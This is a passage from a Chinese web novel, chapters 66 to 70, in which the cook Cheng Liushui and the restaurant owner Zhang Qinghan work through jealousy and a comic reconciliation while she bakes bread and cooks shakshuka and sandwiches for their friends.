“听上去倒是不错,你那弟弟是什么性子?我这人就喜欢热热闹闹的,这样日子才过得有意思。”程六水说罢还低头害羞了起来。 对面的张清寒连气息都快稳不住了,紧紧攥着拳不说话,嘴唇已经被咬得渗了血,就这么直直地看向程六水。 “好啊,我娘子那弟弟也是个热闹性子,跳脱有趣得紧,但大事上绝对靠得住,等过些日子我给他去个信,你俩见见说不定缘分就到了哈哈哈哈。”萧墨豪爽笑道,心里的大石头总算落地了一半。 临行前娘子千叮咛万嘱咐让他此行,为小舅子留意些好姑娘,没想到得来全不费工夫,六水人好长得好说话做事有意思得很,和他那小舅子越看越般配,萧墨想着想着不禁点了好几下头。 马牧川生无可恋地盯着眼前的石桌子,这场面就算是自己这张巧舌如簧舌灿莲花的嘴也救不了了,本来是帮好兄弟试探姑娘心意的,没想到另外一个好兄弟脑子并不是很够用的样子,拆台那叫一个顺溜啊。 “萧大哥娘子的弟弟,那不就是丰老将军的小儿子,我在京中就听说这位丰小将军丰神俊秀十分英武,年纪轻轻就立了不少军功,颇有其父其姐之风。”马陶陶总算抢回了自己碎了的手绢,宽宏大量地火上浇油道。 “哎呀没你说得那么好,到时候让六水见一见就知道了。”萧墨接着笑道。 话音刚落,张清寒猛然站起了身子,寒光星眸环视着每个人,明明是再俊俏不过的一张脸,却是威压逼人凶悍无比,众人嘴角的笑都默默地缩了回去。 然后这位张东家气势汹汹地转身……继续给窑炉添柴火去了。 第67章 拿我取乐 “哎呀这柴火也烧得差不多了,走萧墨我们出去转转。”马牧川见状立时站了起来说道。 萧墨正在那儿给程六水介绍自己的小舅子呢,头都不回道,“你先去转转吧,我还有正事。” 张清寒刚刚给窑炉加了十成十的柴火,灰头土脸地走了过来,半个字未说直接薅起了萧墨就往外走,“哎哎哎你这是做什么?” “兄长!”乔四方一看自家兄长被拉走,跟着也颠颠跑了,小院里刹那就剩仍在磕瓜子的杜少仲。 “杜二二,你不觉着你在这儿有些突兀吗?”马陶陶耷拉着眼皮,扬起头道。 “突兀?我不……”杜少仲抬起头话都说不出来,对面这三个女子怎么跟夜叉一样,如此虎视眈眈凶神恶煞的。 “啊,我也想出去转转,回见啊。”说罢杜少仲就脚不沾地地跑了,也不管什么三七二十一了。 杜少仲一出院子,只见整整齐齐的四个男人正在墙角待着,“哥几个在这儿晒太阳呢?” “走吧你个大棒槌。”马牧川抬起胳膊,利落地夹起落队的杜少仲朝着不远处走去。 而小院里,面包窑熊熊烈火正在烧着,程六水眼眸眯成了一条细缝,嘴角带笑却露出了小巧的虎牙道,“他们走了吗?” 踮脚看着院墙外动静的马陶陶,点了点头道,“走了,朝着河边去了。” “河边?淹死他们才好呢,真好啊我们的张大东家,太师的孙女将军的妹妹,就差皇上的女儿了。”程六水强压着脾气,温柔能溺死人的语气里藏着的全是扎人的钢针。 “皇上有女儿,但才五六岁。”马陶陶走过来边倒水边笑道。 “那就不是皇上的,不是说先皇有几十个皇子吗?随便找个亲王也有女儿,张东家不是要相看吗?就让他相看个够。”程六水更是咬牙切齿道,整个人午后的艳阳下熠熠生辉,像极了一把见血封喉的利刃。 “这东家怎么的也有二十好几了吧,那萧将军都成婚好几年了,他相看几家姑娘也没什么吧?”赵玉雨忍不住嘴角的笑意,说着说着都要捂住肚子了。 沉浸在苦得掉渣的苦闷中的程六水,撅着嘴瞪着眼直勾勾看向赵玉雨与马陶陶,不曾想那马陶陶也没憋住直接哈哈哈哈的笑了出来。 “你们有什么好笑的?二十好几怎么了,到处相看没个定性,瞧着就不是什么正经人。”程六水呼呼地生起了闷气,抱着胳膊靠在石桌上。 “行了,我们可别再逗六水了,再逗六水头顶都要和烟囱似的冒烟了。”马陶陶抿嘴笑道,凑到六水身边接着道,“你说你是不是对东家有意思?” 程六水瞬间站了起来,背过身对着海棠树,极为反常地大声嚷嚷道,“怎么可能!我没有。” “你没有,那东家多年前相看的亲事,你这么生气做什么?况且东家连那姑娘面都没见。”赵玉雨走到海棠树前,硬生生掰过程六水,逼着她直面那耀眼闪人的阳光。 “我生气了吗?我没生气,我就是觉着他一副隐世高人冷若冰霜的样子,没想到先前还有成家的念头,出乎我意料罢了。”程六水对着赵玉雨抿起了嘴巴,愤愤不平地狡辩道。 “我听哥哥说起过,东家出师门是为了入世而来,入世不就是做官娶妻生子嘛,这是世间大多数男子的范本,他既做了官,定然是要接着入世的,这你还真怪不了他,那时你应该也就比这石桌高点吧。”马陶陶比量着石桌道,眼里皆是过来人的笑意,凡是动了情都得酸苦上这么一遭,这才能知晓自己到底是何心意。 “我十一二岁的时候很高的好吧,比这石桌高多了,起码有着石桌加石凳叠起来那么高。”程六水嘟嘟囔囔狡辩道。 “这不是石桌的问题,也不是你多高的问题,这是你到底喜不喜欢他的问题。”赵玉雨轻轻推起程六水垂下的嘴唇,接着道,“由爱故生忧,由爱故生怖,若离于爱者,无忧亦无怖。可六水你是有忧又有怖,现下还气得要命,你这不是喜欢是什么?” 程六水这才怔愣在原地,久久不能动弹,她神情本是渐渐明了了起来,可不怎的忽然又开始拧巴了。 “喜欢是真喜欢……”程六水低垂着头,揪着海棠花枝的花瓣,一片两片三片地不停歇。 “喜欢就在一起啊。”马陶陶一听比那毛毛乐得都欢,赶忙趁热打铁道。 “我喜欢有什么用?感情又不是一个人的事情。”程六水声音逐渐低落道。 赵玉雨皱起眉毛,实在忍无可忍地比着程六水那双大眼睛道,“你这小家伙的大眼睛长来是做什么的,那东家都要黏你身上了,不像个东家,像个使唤,还就是你一人的使唤,这叫一个人的事?明明是你们两个都痴傻得很。” “我可没看出来,再说了他说不定还当过太师孙女的使唤,那就不是两个人的事,说不定是三个人四个人一百个人的事。”程六水难得怄起气来,她气鼓鼓地往那石凳上一坐,心里是又甜又酸又苦,甭提多难受了。 而在河边打水漂的五个男人也不是那么太好过,本来就是一盘散沙,如今更是要分崩离析了。 “萧大将军,你这小舅子找谁不好,非要找六水,你是要与我过不完啊。”张清寒站在河边,目光亮得吓人,恨不得一眼就给萧墨扔进河里喂鱼。 “清寒,你这话我就是不明白了,六水虽是你这酒楼的厨子,可那终身大事也不能耽误啊,我那小舅子是个顶顶好的人,你要是给六水耽误了可怎么是好。”萧墨不明就里, 无视着对面要杀死他的目光道。 还不等张清寒反驳,一旁无所事事用狗尾巴草编手环的杜少仲道,“不能耽误,你那小舅子排队去吧,那伯远侯府白小侯爷排在你小舅子前面。” “你!!!”张清寒手颤颤巍巍地抬了起来,指着席地而坐地杜少仲气得直接说不出话来。 “冷静冷静。”马牧川赶紧按住了要让杜少仲见不得明天太阳的那只手,安抚着张清寒道,“这怎么还和白侯爷扯上关系了?” “哦,那白承茂和六水是青梅竹马,说是一直都对六水情意深远,上次他那妹妹白婉瑜来,又提起这事了,说是那白承茂如今是茶饭不思,就等着来江陵见六水呢。”杜少仲眨巴着眼睛,绘声绘色地说道。 “怪不得这白小侯爷到了年纪也不娶亲,反而是自己妹子先嫁人,原来是有这么个缘故啊,那确实毁人姻缘是丧良心的事,我那小舅子还是先排队吧,要是六水同小侯爷成不了,我小舅子再来。”萧墨点了点头,自认为十分善解人意道。 马牧川听着听着,就一脸怜悯地看向张清寒,好家伙这原来不止有内忧还有外患啊,他这兄弟情路竟然如此坎坷。 “谁说白承茂就排第一了?”张清寒轻了轻被气哑的嗓子道。 “那还有谁啊?”又在偷摸吃牛肉干的乔四方好奇道。 张清寒环顾了一圈,一个一个看过去,都是他出生入死的好兄弟啊,竟然不是瞎子就是傻子,“是我。” 杜少仲手里编到一半的狗尾巴草环都掉了,乔四方嘴里的牛肉干都顾不上嚼,直接硬生生吞了进去。 “是谁?”萧墨更是惊到了下巴,这他要是没听错的话,他是不是做了一件很愚蠢的事情,当面给自己的好兄弟的心上人介绍自己的小舅子? “你说呢?萧大将军。”张清寒冷冰冰地看向他。 “不是啊,我是真没看出来,再说了你要是真心悦六水,那方才怎么牧川说你和这个小姐那个姑娘的风流轶事,你也不加以阻止啊?”萧墨的脑子难得转了一转,疑惑道。 众人盯着张清寒,皆满脸不解,张清寒只能清了清嗓子万般难为情道,“我只是想看看,六水心里有没有我?” “???你是说你想看看心上人心里有没有你,你就故意让人说这些事,然后让心上人生气?”萧墨眼睛都睁大了,宛如看大傻子一样看着张清寒。 “可她半点生气也没有。”张清寒意志消沉,长叹一口气道,整个人仿佛瞬间没了精气神。 “不生气就不生气呗,你们要是在一起了,她这样是心里没你,可你们又没有怎么样,人家为什么生气啊?你这人真是作怪得很。”萧墨摇了摇头接着说道,“作为过来人以及你的兄弟,我得告诉你别听马牧川的,他到现在都没讨到老婆,这不足以说明问题吗?” 张清寒眼神忽而亮了亮,信服地点了点头,而一旁的马牧川见状捂着胸口,大声痛诉着两人给他心口插刀。 “那你说说,现下怎么办?”张清寒一副老实学生求教的样子。 “你问我真是问对了,我娘子出了名的铁娘子女将军,你看我们不是也夫妻和睦琴瑟和鸣嘛,这关键就在于你得让娘子开心,你想想六水平日里最喜欢同你做什么?”萧墨捋了捋不存在的胡须道。 张清寒若有所思片刻,沉吟道,“她喜欢拿我取乐。” 【作者有话说】 先走下感情线哈,面包窑要四小时才能热好,下章就开始做面包[撒花] 第68章 北非蛋三明治 燃烬的梨木焦香中带着一丝清悠果香,程六水扫除焦木余灰,再慢慢打开窑门,里面的热气一瞬间散了出来,小院差点都成了炎夏般炙热了,所幸春风一吹,只留下滚烫的窑内。 这边热气眼见要散了一半了,程六水随手抓了把白面粉扔进了窑内,三五瞬便焦黄焦黄的了,这时她才将那发酵好了的面团子从厨房里取出,在面团子表面割了几刀,如此这般面包才能烤得蓬松松软。 木盘子上撒些方才剩的面粉,将那面团放上去,说时迟那时快忙不迭地送进了面包窑里,此时就可以把窑门一关,只留个小小的缝隙,那多余的水汽就是从此处流出来的,要不然面包从里到外就只能软趴趴的了,哪里有酥脆的面包皮呢。 手脚麻利的程六水三下五除二就做完了这些,拍了拍手恶狠狠道,“等着吧,再有半个时辰就能吃。” “哎呦我的小姑奶奶啊,怎么还生气呢?”赵玉雨在一旁看着程六水气鼓鼓地烤面包,气得小脸比方才那发好的面团子还鼓溜儿。 “是啊,东家哪里有你说的这么坏,我倒是看你天天戏耍他,开心得很。”马陶陶笑道。 “我才没有成天戏耍他呢,只不过……”程六水说到一半停了下来,欲言又止了起来。 “只不过什么?”赵玉雨好奇问道。 “只不过你们不觉着他成天板着个脸实在是无趣得很,偏要激得他急得团团转,最好逗得他没了那一板一眼的面具,这才有意思呢。”程六水低着头,眼睛滴溜溜地转着道。 “是不是再气得嗷嗷哭才好啊?”马陶陶憋着笑接话道。 “对对对!”程六水被人戳中了心事,一时没忍住开口便道,说完才发现自己说了什么,赶忙捂住嘴,装作一脸无辜的模样,一个劲儿地摇着头,试图不承认方才的话。 “啧啧啧。”马陶陶跟着程六水一起摇头,远看还以为是俩拨浪鼓,“没想到啊没想到,小六水你外表单纯善良,良心却是大大的坏,天天憋着想把东家弄哭的念头。” “不是我不是我!”程六水低着头不敢看她们,指尖掰着海棠花瓣,撕成一条又一条的。 赵玉雨倒是不明所以道,“为何想要弄哭他?难不成东家总是给你气受,你才想将他弄哭?” “当然不是了,好吧我只是真心觉着,东家那么一张超脱凡尘清俊可人的脸,若是再添上几串泪珠,简直是太美了。”程六水破罐子破摔道,一脸死猪不怕开水烫的样子。 赵玉雨听罢,柔和的脸扭成了包子褶了,她都以为自己是听错了,转头看了看马陶陶,马陶陶无奈地点了点头,这下赵玉雨才相信自己听的。 “咳咳,六水你收敛一点,小心别什么时候真把东家气哭了。”赵玉雨经历了一系列激烈的思想斗争,最终只能接受了六水迥异的爱好。 “我只是随便想想的,但就东家那个锯嘴葫芦的性子,我要是不逗逗他啊,他都能挂到绳子是上当腊肉了。”程六水说着说着,心里的气竟渐渐消了,许是方才脑海中出现了张清寒在自己面前欲语还休我见犹怜的样子,一时间盖过了先前的醋意。 夕阳西落,程六水话音方落,那晃晃悠悠的五人组就从河边回来了,一个个神情各异颇有些见不得人的架势。 走在最前面的乔四方一进小院便闻见了空气中扑鼻的麦香,刹那间只觉饥肠辘辘,大步走着变脸笑呵呵问道,“好香啊,我来帮忙啊。” “好啊,那你来帮我吧。”马陶陶一抬头便见乔四方乖得不行,心里软软道。 “好嘞。”乔四方走到后厨一看,一应食材早已准备齐全,却不知从何下手,他疑惑地看向马陶陶。 “我要煎蛋的,得煎十来个。”马陶陶撇下正在吃狗粮的程六水和赵玉雨,笑盈盈地走到乔四方身旁。 “那我来煎,你坐在一旁看着就行。”说罢,乔四方便去洗手撸起袖子就是干啊,噼里啪啦地油滋啦声不一会儿从后厨中传来。 程六水看着厨房那对你侬我侬,煎个鸡蛋还要互诉衷肠的情侣,生无可恋地长叹了一口气,转头一看只见那鹤立鸡群的张东家,正鬼 鬼祟祟地拎着一包东西。 “你们去逛集市了?”程六水直截了当问道,神情坦然地跟什么都没发生过一样。 “啊是是,随便买了点东西。”张清寒面上一红,微微抬头颇有些难为情地说道。 “哦,等会儿要做金橙渴水。”程六水简单说了句话,就转头进了后厨。 “我来我来,我来做。”张清寒赶忙藏起自己一包不怎么见得人的东西,灰溜溜地跟着进去了。 “哎我最会做饮子了。”杜少仲一听这是他的拿手绝活啊,刚想也一同进去,“哐当”后厨的大门就被张清寒严严实实地关上了。 “行了杜大少爷,你下次再做吧。”马牧川赶紧拽着杜少仲去了前厅,将这一方厨房和小院留给两对小情侣。 程六水进了屋,从筐里就翻出了好几个又大又红的西红柿,还有从西域商人那里买来的胡葱青椒,上好的里脊肉也清洗干净放在了案板上。 只见程六水手起刀落,里脊肉唰唰唰就成了肉块肉丁肉馅,这菜刀是她的好搭档,月月都要磨一磨,尤其最近磨得才勤呢,她回过头看了眼正在卖力压橙汁的张清寒,手下的刀是更快了。 除了肉馅,自然那胡葱青椒西红柿都是要切丁的,随后便是起锅烧油,蒜末爆香胡葱碎全部倒进锅里,不一会儿满屋飘满了胡葱的甜香气,这是再将那切好的里脊肉馅加进去翻炒,小火炒个几下,这肉的腥气就全没了,只剩下里脊肉的醇香。 此时,青椒西红柿丁一股脑地倒进了锅里,顿时红红绿绿的好看地紧,小火烘着炒着,切得碎碎的西红柿丁就融成了汁,来些辣椒粉胡椒粉盐巴调味,最后再打进去几个隔壁母鸡早上刚下的鸡蛋,澄黄澄黄的甭提多令人垂涎欲滴了。 “你去将面包拿出来。”程六水面无表情,冷冰冰地命令道。 张清寒赶紧放下了手里木头做的压汁机,不一会儿功夫,他就哐哐压了十几个金橙,金橙渴水装了满满一壶。 他洗了洗手就要去面包窑里拿面包,刚走两步就听身后声音传来,“记得拿东西垫着点手,手别烫秃噜皮了。” “嗯!”张清寒暗暗笑着,无人处嘴角都要咧到后脑勺了,她关心他了。 这面包烤得着实是好,蓬松柔软大大一个,表面酥脆金黄,换了把小刀切开,里面那气孔不大不小,跟现代面包店里卖得一模一样,更绝的是,这面包细细一闻竟有梨子的清甜,比那烤箱烤出来更具风味。 “原来这就是面包,看着像是煎过的大方馒头。”乔四方拎着鸡蛋皮跑过来凑热闹道。 “你说得没错,这就是西域人的大馒头,用得啊都是白面面起子,只不过烹调的手法不太一样罢了,可就这么点手法的不同,吃在嘴里的口感口味就完全不一样了。” 程六水点了点头道,即使她做了很多很多年的厨子,却仍然对食物满是敬畏,不同的食材排列组合便又是新的菜式,这天底下千万种食材,说不定还有许多美食尚待人挖掘呢。 她把面包切成一片一片的,取了几片摆在了刚刚红红绿绿黄黄的北非蛋上,最后撒上些胡荽就齐活了。 至于其余的面包片,两片面包夹着刚刚煎好的鸡蛋和红肠,里面又夹了些小青菜,抹了抹之前做沙律牛排剩下的沙拉酱,压得紧紧实实对半一切,这不就是东北红肠版三明治吗! “金橙渴水端过来。”程六水招呼着马陶陶和乔四方端走三明治北非蛋,冷漠地回头命令道。 张清寒低眉顺眼地如同一只被遗弃的大狗,垂着脑袋凌乱着发丝,一手端着老大个饮子壶,另外一只手拽着程六水尚未飘走的衣摆,扭扭捏捏地不说话。 “干嘛?”程六水冷冰冰道,眼里半点笑模样都没有。 “你是不是生我气了?”张清寒抿着嘴,小心翼翼道。 程六水这才抬起眼,似笑非笑地看着他道,“你觉着呢?” “我觉着你生我的气了。”张清寒更是惴惴不安道。 “呵,我就是一个小伙计,哪里敢生东家的气啊,东家还是不要在这儿说笑了。”程六水一把就抽走了自己的衣摆,头也不回地走向大堂。 大堂里一片熙熙攘攘,几个人围着那桌子上的面包,眼珠子都快不转了。 “你们这几个怎么跟那石像似的一动不动的?”程六水转头就抹脸笑了起来道。 “小六水,你这面包做得一看就地道,和我在西域商人那儿看着得一模一样。”马牧川给程六水竖了一个响亮的大拇指。 “那是你和萧大哥做的面包窑好,竟然一次就成功了。”程六水满是谢意地看向马牧川和萧墨。 “没有没有。”萧墨不好意思地笑道。 “你们可别夸来夸去的了,我要先吃了。”早已饿得不行的马陶陶拿起了个三明治,只一口便是拜服在面包独特的嚼劲和甘甜中,更别提红肠煎蛋生菜带来的极大满足感了。 “我也要吃!” “你别和我抢啊!” 热热闹闹的大堂,无人在意站在角落里,极为落寞的张清寒,还有他手里攥得紧紧的香橙渴子。 第69章 搓衣板 红红绿绿的北非蛋里,满是西红柿汁水的酸甜搭配着炖煮得熟甜的青椒,就连那澄黄的蛋都是溏心的,外酥里软的面包片轻轻一舀,汤汁浸润其中,众人宛如置身于西域国度,说不出的异国新奇滋味。 张清寒面不改色地咬着手里的面包片,一口接一口地不说话,冷冰冰的吓人得紧,可惜这酒楼里的人早就免疫了,都在那儿自顾自地吃着,竟也无一人与他搭话。 这也不怪伙计们,张东家一日十二个时辰,总有七八个时辰是沉默不语的,如此美食当前就更没人能注意到他有何不同了。 但程六水不同,她心里同样是憋着气呢,虽说先前已然是消了许多,但这心里还是哪哪都不得劲,憋着一股劲定是要同张清寒好好说道说道的。 她见这张东家眉宇间也是不郁得很,可嘴上却不闲着,面包片能吃了五六七八片,北非蛋里的溏心蛋也一口气吃了好几个,当真是吃饭喝水什么都不耽误。 程六水愈想愈气,本来是吃得下的,现下却是胃里噎得慌,不知是气的还是肠胃真出了毛病。 两弯黛眉直接拧成了两股绳,圆眼睛上的睫毛都抖起来了,低着头不说话,结果就见一只白皙的大手爪子从她面前的盘子里又拿了个红肠三明治,她见这手怎么这么熟悉呢抬头一瞧,好家伙又是张清寒! 这下真是捅了程六水的马蜂窝了,吃!她也吃!凭什么张清寒能吃,她就不能吃,不就是吃饭吗?谁不会啊! 待到伙计们都吃得差不多了,纷纷抬起头来,就见自家的东家和厨子两个谁也不看谁,埋着头就在那儿吃,吃得那叫一个狼吞虎咽啊。 赵玉雨默默给程六水又倒了盏香橙渴子,生怕这么细的嗓子眼给噎个好歹的。 直到最后一个红肠三明治,张清寒率先伸出了手,将将碰到了个边边,只觉周身气氛不自觉地火热了起来,好似跟那后院的面包窑似的。 他定睛一瞧,程六水纤细的手指毫不留情地抢过了最后一个三明治,恶狠狠地看向自己,仿佛整个人张牙舞爪了起来,那圆鼓鼓的脸颊上还有西红柿汁呢。 “……你吃。”张清寒莫名的胆怯压过了胸中的气愤,不自觉地收敛着眼眸道。 伙计们如同吃瓜群众一般,几个大脑袋瞬间转到了程六水那边,一个个比猹都急。 程六水手里抓着红肠三明治,没好气地嗤笑了声,“我想吃的东西,需要你让吗?” 这话说得张清寒也是一愣,他何曾见过程六水如此真实的一面,往常都是活泼的可爱的还十分狗腿,可这次却仿佛一个巨大的锄头,凿开了她许久的伪装,撬开了那炙热暖阳下的生动。 程六水可不管张清寒在发愣什么,她一口就吃下去了这三明治的一半,哎呀自己的手艺是真的没话说,这红肠更是点睛之笔,可惜这批都吃完了,明日得去再买点,要不自己在酒楼里灌香肠也行。 只不过这活有点累得慌,得找个人来打下手,思及此处程六水立起眼睛,开始一圈又一圈看着吃瓜的伙计们,伙计们哪里知道程六水在想什么,都怕得跟个鹌鹑似的,生怕自己被点到名字。 程六水悄摸摸选定了人选,拍了拍满是面包屑的小手,重重地“哼”了一声,大摇大摆地就走了。 她这一走,那满桌子坐得无比板正的人,都明晃晃地松了一口气,杜少仲吓得还拍了拍自己的胸脯。 马牧川抿紧了嘴唇,心里全是好 怕好怕,不知为何六水明明什么都没说,可这气势却大得很,不像个抡铁锅的厨子,像个在江湖叱咤风云的女侠。 他最后没忍住,嘴贱地说了句,“清寒还得是你啊,六水也太凶了。” 张清寒瞥了马牧川一样,还没等说话只听萧墨开口道,“还好吧,六水不就多看了两眼嘛。” “大哥,你夫人是女将军,你自然受得住,我这么个富家翁都直嘚瑟。”马牧川斜晲着萧墨,撇着嘴道。 “富家翁,你今天洗碗。”张清寒站起了身子说道,本是要朝着后院走去,却没忍住又转头看向不甘不愿收拾碗筷的马牧川道,“六水一点也不凶,你还是想想你那个北戎长公主吧。” “你别瞎说啊,什么叫我那个长公主!”马牧川嘴里骂骂咧咧地狡辩着,实则甜滋滋得很,心里叫嚷着长公主才不凶呢。 而张清寒就是慢了这么一步,到了后院就不见程六水的身影了,他瞬间慌了神,拎着下午带回来的一包东西就朝外走去。 迎面便遇上了帮着哥哥收拾的马陶陶,马陶陶眼尖地看向了张东家藏在身后的那包东西,忽而笑得十分奸诈道,“东家这是怎么了?如此着急。” “陶陶你见着六水了吗?”张清寒脸色煞白问道,急吼吼地像是天上掉黄金了。 “哦~六水啊,她去断口子河那边了,说是心情不好,在这儿酒楼待着也不开心,想着要不要去寻个别的出路算了。”马陶陶故意拖成语调道,面上偏还装成了副极为担忧的模样。 张清寒哪里受得了这个,这下子从头到脚没有不慌的地方,“嗖嗖嗖”几下那轻功都用上了,飞檐走壁在青瓦上跳来跳去,惊得马陶陶瞠目结舌。 而程六水确实是在断口子河沿旁,她捂着自己鼓鼓溜溜的小肚子,又是摇头又是叹气的,真不该逞一时意气,现下只能在这小河沿遛弯消食。 所幸春日里,小河沿两旁的桃树结出了粉嘟嘟的桃花,微风拂过恰到好处的舒坦,不冷不热。 程六水抬起头正想着,这桃花也是能做点心的,不如不遛弯了改爬树得了,摘些桃花腌渍了,做些桃花糕桃花酒酿,要不煮个冰糖桃花粥也是极好的,养颜健脾。 然后她就见那本是稳稳当当的桃树,花枝乱颤摇摇欲坠,这敢情好了不用自己爬树了,花瓣是七零八落地掉了下来。 日月交汇之际,幽暗中仍有着最后一缕暖阳,漫天妃粉的花瓣垂落在树下女子身上,一袭浅绿襦裙如同生机勃勃的青草接住了这缕暗香。 自然了,人有能接得住的东西,就有接不住的东西,比如轻功高超却着急忙慌,只能脚打粗溜滑从桃枝上摔下来的张清寒,水墨白衣飘逸出尘。 程六水上一瞬捻着落在自己身上的花瓣喜笑颜开,下一瞬就以极快的速度张牙舞爪地抛开了,毕竟她可不像被砸死。 张清寒眼睁睁看着心心念念的程六水跑得比兔子都快,他心中更是一紧,就都忘了习武之人的本能,半点轻功都没使,“啪叽”一声双手双脚着地。 幸好他底子厚骨头硬,也没摔个断胳膊断腿的,只是清俊的脸上擦破了皮,白中一点红更添几分妖气。 “别走。”张清寒趴在地上都来不及起身,哑着嗓子恳求道。 程六水转过头来,她没来得及扶起张清寒,就见散落在青草上包袱,包袱结早已甩开,里面的东西四散开来。 她不敢置信地伸出了指尖,提溜起一件面料极少的衣衫,这衣衫似是上衣却被割了一半,只剩下堪堪能遮住胸膛的布料,连个袖子也是没有的。 程六水眨巴着眼睛,拿着这上衣照着已然站起来的张清寒比了比,嗯不错正好是张清寒的尺寸。 “六水你听我解释。”张清寒现下是百口莫辩,脸上的擦伤也不管了,径直走到程六水面前,说着就羞得去抢那衣服。 “咳咳,东家没想到你还有这等雅兴啊,不仅能文能武,竟又精通音律歌舞?”程六水自然是牢牢抓住那上衣不放,同时又捡起了与之配套的裤子。 这胡旋舞自西域传来,起初多是女子跳,婀娜多姿极为动人,坊间渐渐又兴起了男子跳胡旋舞,歌舞娱情本是无碍,可像是张清寒这等身份的人,却是得遮掩些的,不然朝堂之上便会有人参他玩物丧志。 程六水心下自己就捋出了个七七八八,赶忙收拾好舞服用包袱皮包上,生怕有旁人瞧见。 她这一抻包袱皮可倒好,怎么又从里面抖落出几本话本子,一捆绳子,竟还有搓衣板??? 这回程六水是真的百思不得其解了,这几样的东西是怎么出现在一起的?她无声地看向张清寒,面色十分复杂。 张清寒深吸了一口气,面色极红地解释道,“我并不十分精通音律,这些东西都是我下午刚买回来的。” “哦?那这舞服是你买给旁人的?”程六水圆溜溜的眼睛一眨不眨地看向张清寒。 “……不是,是我自己的。”张清寒现下只想找个地缝钻进去,可惜青草地没有地缝。 “你自己的?”程六水又看了看包袱里其它几样东西,忽然福灵心至茅塞顿开道, “我明白了!所以你是要在搓衣板上穿着胡旋舞服跳舞,一边跳一边看用绳子吊起来的话本子?” 程六水说到这儿,甚至都想给张清寒鼓掌,古有掌上飞燕,现有搓衣板胡旋舞男,还是十分有文化的那种,真是令人叹为观止啊。 张清寒傻在原地一动不动,谁能告诉他该做些什么,才能把跑偏到天边的六水拽回来。 第70章 暖呼呼腹肌 不等张清寒想出个所以然来,程六水紧接着开口道,“不知我是否有这个荣幸,欣赏你的舞姿呢?”那圆眼睛亮闪闪得吓人,人对没见过的事物总是抱有好奇,尤其是这等别出心裁的表演。 “不是不是……”张清寒连忙摆了摆手,头摇得跟个拨浪鼓似的。 程六水顿时就立起了眉毛,抿嘴道,“你是在拒绝我吗?” “我没有要拒绝你。”张清寒又是一个劲地摇头道。 “那你摇什么头?”程六水步步紧逼,咄咄逼人道。 “不是你想的那样的,我不会跳什么胡旋舞,那绳子也不是用来吊话本子的。”张清寒实在是被逼得没招,退无可退只能靠在桃树上,低头轻声道。 程六水听了这话仍是没有放过他,食指轻轻勾起那布料极少的胡旋舞服,落在了张清寒白里透红的脸颊上,柔软至极的朱红料子,衬得他那额间一点红妖娆丛生。 “那你说说,你买这些东西到底是为了什么?”身量不高的程六水伸出手来摩挲着那朱红的料子,比这料子更软的只有舞服下触手可及的某人。 滴血的耳尖微微抖动着,张清寒被困在了这桃树下,左右动弹不得,清幽暗香迷惑住了他的心神,迫使他记不得反抗,明明是那么容易就能逃离,偏偏甘之如饴地停留在了原地。 此时此刻,他们二人间唯有彼此,天地之大只能容得下他与她。这般近,近到瞧得清六水鬓间碎发,细小的绒毛不听话地支了出来,挠得他心里痒痒的,只想拂平这不听话的家伙。 手不自觉地垂下,轻柔地搭上了眼前人毛绒绒的头顶,如同最上等的绸缎般穿过了他的指缝,令他不忍放手,如何能放手。 “你摸狗呢?”直到他宽大的手掌下面传来了一句冷冰冰的话,才打破了张清寒那在心底迸发出的炙热与不顾一切。 低头一瞧,程六水扬起了气鼓鼓的圆脸蛋,“啪嗒”一声就打掉了在自己头上的手,极为不满地捋了捋她乌黑亮丽的秀发,也不管张清寒了,颠颠地就跑去河边梳起了头发。 张清寒怅然若失地摩挲着指尖,心神久久难以平复,直到听见河边传来声响,“你不愿说就不说,搞乱我头发做什么?”程六水嗔怪道,转身就要朝着酒楼的方向走去,显然是不想在这河边吹风了。 “你别走。”张清寒急忙上前搭住了程六水的肩膀以及肩上顺滑的乌发。 “你压着我头发了!”程六水恶狠狠地转过头来说道,那眼神里仿佛有着数不清的刀剑,成百上千下戳着张清寒。 “我不是故意的。”吓得张清寒赶紧收回了手,战战兢兢地看着程六水,想要察言观色偏生又观不明白。 “你不是故意的?我看你就是故意的,你就是看我这乌发长得比你的好,肯定是想偷摸绞了给你做假发。”程六水不高兴道。 “???”没头脑的张清寒根本不知道,到底该从何开始解释了,是解释午后那桩风流轶事,还是挂在自己腰间的胡旋舞服,亦或是他要偷六水的…头发? 再泥塑的人也是有脾气的,更莫要说张清寒本就是行事杀伐果断之人,眼见是拽不回程六水的脑回路了,他也只能兵行险招了。 说时迟那时快,张清寒直接从包袱里扯出了那一捆绳子,迅速抖落开,在某处三下五除二就绑成了个结,绳子的另一端则递给了旁人。 程六水属实是没什么见识的,无论是穿越前还是穿越后,她都是大大的良民一个,从来就没见过眼前这场景。 张清寒身着水墨长袍本是隐世高人般飘逸的,可怎么腰间竟系上了个不粗不细的麻绳,宽肩蜂腰刹那间就勾勒得一览无余,腰间鲜红的舞服与额间那抹红交相辉映着,而那麻绳的另一端不知怎么的就在程六水的手上了。 “你你你,你要作甚?”程六水心口有头小鹿在激烈地乱撞,她不自觉地咽了咽口水,明明声音害怕得颤抖着,却又莫名的激动起来。 “我要给你赔罪。”张清寒也是头回做这种事,硬着头皮轻声道。 “给我赔罪,你绑自己做什么?”程六水此时更是不得不多想起来,这是古人类似负荆请罪的礼节,还是自己脑子里十分见不得人的画面呢? “是萧墨教我的,他说每次惹他娘子生气,就拿绳子出来。”张清寒抿着嘴道。 程六水眉头瞬间惊得就要飞了,我得个天爷啊,她的耳朵都听到了什么,啊以后她该怎么直视萧大将军啊。 正在酒楼里同伙计们搓麻将的萧墨打了个大大的喷嚏,“胡了!夹六条!”他才无暇管这什么绳子不绳子的,都好几圈麻将了,终于让他赢了一把,兴奋得差点跳上桌子。 至于这绳子嘛,萧墨一惹娘子生气,就得被罚睡绳子,哎真是没人疼没人爱地里一颗小白菜。 程六水吓得赶紧说道,“行了,你快把绳子解开吧,我求你了。” “你不喜欢吗?”张清寒低落地问道,敛起的眼眸说不出的委屈。 “不是,这不是我喜不喜欢的问题,人家萧将军和他娘子……哎呀我跟你是说不明白了。”程六水难为情地差点捶胸顿足,上手就要去拽张清寒腰上的绳结。 张清寒站在那儿死死护住腰上的绳扣,死活就是不想解开,任凭程六水如何拽着绳子都没用。 越解不开,程六水越气,气得直接摸上了张清寒的腰间,这一摸倒好,全是硬邦邦的肌肉,指尖再不经意在腰上一滑,两块四块六块好多块腹肌哦。 程六水这手啊,不知道怎么的就是不听使唤了,上下左右全都摸了个遍,过了好一会儿她才缓过神来,瞬间给自己都吓了一跳,这下绳子也不解了,弹跳出了好几米。 